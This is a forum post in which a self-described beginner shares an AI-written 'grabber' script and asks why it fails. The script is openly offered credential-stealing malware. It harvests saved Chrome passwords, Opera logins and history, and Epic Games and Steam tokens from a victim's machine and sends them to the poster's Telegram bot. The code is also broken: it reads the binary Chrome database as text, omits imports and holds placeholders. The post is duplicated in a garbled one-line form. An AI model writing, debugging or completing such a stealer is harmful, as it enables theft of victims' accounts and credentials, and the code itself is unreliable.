Hello, I am a beginner and today I tried to make a grabber script using artificial intelligence. After many changes to the script the script still does not work. Let me explain, I am supposed to receive the user's information by telegram message using my bot but I receive nothing.
So I would like to know if someone could help me and explain to me what is wrong and how I can resolve this type of problem for next time.
The script :
import os
import sqlite3
import requests
import telegram
from telegram.error import TelegramError
Function to extract saved passwords in Google Chrome
def get_chrome_passwords():
passwords_dict = {}
try:
with open(os.path.expanduser('~') + "/.config/google-chrome/Default/Login Data", "r") as f:
while True:
line = f.readline()
if "url=" in line:
url = line.split('=')[1]
if "username_value=" in line:
username = line.split('=')[1]
if "password_value=" in line:
password = line.split('=')[1]
passwords_dict[url] = (username, password)
if not line:
break
except Exception as e:
print(f"An error occurred while extracting Google Chrome passwords : {e}")
return passwords_dict
Function to extract cookies, history and tokens saved in Opera
def get_opera_data():
cookies = {}
history = []
tokens = {}
try:
with open(os.path.expanduser('~') + "/.config/opera/Opera/sessions/autosave.win", "r") as f:
for line in f:
if '"type":"tab"' in line:
url = line.split('"url":"')[1].split('","')[0]
history.append(url)
with open(os.path.expanduser('~') + "/.config/opera/Opera/login data", "r") as l:
for line in l:
if '"name":"Login Data"' in line:
with open(os.path.expanduser('~') + "/.config/opera/Opera/login data-journal", "r") as lj:
for ligne in lj:
if '"origin":"' + url + '"' in ligne:
data = ligne.split('"username_value":"')[1].split('","')[0]
password = ligne.split('"password_value":"')[1].split('","')[0]
tokens[url] = (data, password)
except Exception as e:
print(f"An error occurred while extracting Opera data : {e}")
return cookies, history, tokens
Function to extract data saved in Epic Games
def get_epic_games_data():
tokens = {}
try:
with open(os.path.expanduser('~') + "/.local/share/Epic/Launcher/Data/account_data.json", "r") as f:
data = json.load(f)
for account in data['Accounts']:
tokens[account['Username']] = account['AuthToken']
except Exception as e:
print(f"An error occurred while extracting Epic Games data : {e}")
return tokens
Function to extract data saved in Steam
def get_steamdata():
tokens = {}
try:
with open(os.path.expanduser('~') + "/.local/share/Steam/steamapps/account.blob", "rb") as f:
data = bytearray(f.read())
steamid, = struct.unpack('>Q', data[48:56])
tokens[steamid] = data[56:]
except Exception as e:
print(f"An error occurred while extracting Steam data : {e}")
return tokens
Function to send collected data to Telegram bot
def send_data_to_telegram(data, bot_token):
bot = telegram.Bot(token=bot_token)
try:
update_id = None
while True:
updates = bot.get_updates(offset=update_id)
for update in updates:
if update["message"]["chat"]["id"] == ID CHAT:
for key, value in data.items():
bot.send_message(chat_id=update["message"]["chat"]["id"], text=f"{key}: {value}")
break
update_id = update["update_id"] + 1
except TelegramError as e:
print(f"An error occurred while sending data to the Telegram bot : {e}")
Recovery of Chrome, Opera, Epic Games and Steam passwords and data
Hello, I am a beginner and today I tried to make a grabber script using artificial intelligence. After many changes to the script the script still does not work. Let me explain, I am supposed to receive the user's information by telegram message using my bot but I receive nothing.
So I would like to know if someone could help me and explain to me what is wrong and how I can resolve this type of problem for next time.
The script :
import os import sqlite3 import requests import telegram from telegram.error import TelegramError
Function to extract saved passwords in Google Chrome
def get_chrome_passwords(): passwords_dict = {} try: with open(os.path.expanduser('~') + "/.config/google-chrome/Default/Login Data", "r") as f: while True: line = f.readline() if "url=" in line: url = line.split('=')[1] if "username_value=" in line: username = line.split('=')[1] if "password_value=" in line: password = line.split('=')[1] passwords_dict[url] = (username, password) if not line: break except Exception as e: print(f"An error occurred while extracting Google Chrome passwords : {e}") return passwords_dict
Function to extract cookies, history and tokens saved in Opera
def get_opera_data(): cookies = {} history = [] tokens = {} try: with open(os.path.expanduser('~') + "/.config/opera/Opera/sessions/autosave.win", "r") as f: for line in f: if '"type":"tab"' in line: url = line.split('"url":"')[1].split('","')[0] history.append(url) with open(os.path.expanduser('~') + "/.config/opera/Opera/login data", "r") as l: for line in l: if '"name":"Login Data"' in line: with open(os.path.expanduser('~') + "/.config/opera/Opera/login data-journal", "r") as lj: for ligne in lj: if '"origin":"' + url + '"' in ligne: data = ligne.split('"username_value":"')[1].split('","')[0] password = ligne.split('"password_value":"')[1].split('","')[0] tokens[url] = (data, password) except Exception as e: print(f"An error occurred while extracting Opera data : {e}") return cookies, history, tokens
Function to extract data saved in Epic Games
def get_epic_games_data(): tokens = {} try: with open(os.path.expanduser('~') + "/.local/share/Epic/Launcher/Data/account_data.json", "r") as f: data = json.load(f) for account in data['Accounts']: tokens[account['Username']] = account['AuthToken'] except Exception as e: print(f"An error occurred while extracting Epic Games data : {e}") return tokens
Function to extract data saved in Steam
def get_steamdata(): tokens = {} try: with open(os.path.expanduser('~') + "/.local/share/Steam/steamapps/account.blob", "rb") as f: data = bytearray(f.read()) steamid, = struct.unpack('>Q', data[48:56]) tokens[steamid] = data[56:] except Exception as e: print(f"An error occurred while extracting Steam data : {e}") return tokens
Function to send collected data to Telegram bot
def send_data_to_telegram(data, bot_token): bot = telegram.Bot(token=bot_token) try: update_id = None while True: updates = bot.get_updates(offset=update_id) for update in updates: if update["message"]["chat"]["id"] == ID CHAT: for key, value in data.items(): bot.send_message(chat_id=update["message"]["chat"]["id"], text=f"{key}: {value}") break update_id = update["update_id"] + 1 except TelegramError as e: print(f"An error occurred while sending data to the Telegram bot : {e}")
Recovery of Chrome, Opera, Epic Games and Steam passwords and data
chrome_passwords = get_chrome_passwords() opera_data = get_opera_data() epic_games_data = get_epic_games_data() steam_data = get_steam_data()
Preparing data to send
data_to_send = {"Chrome Passwords": chrome_passwords, "Opera Data": opera_data, "Epic Games Data": epic_games_data, "Steam Data": steam_data}
Sending data to the Telegram bot
send_data_to_telegram(data_to_send, "TOKEN BOT")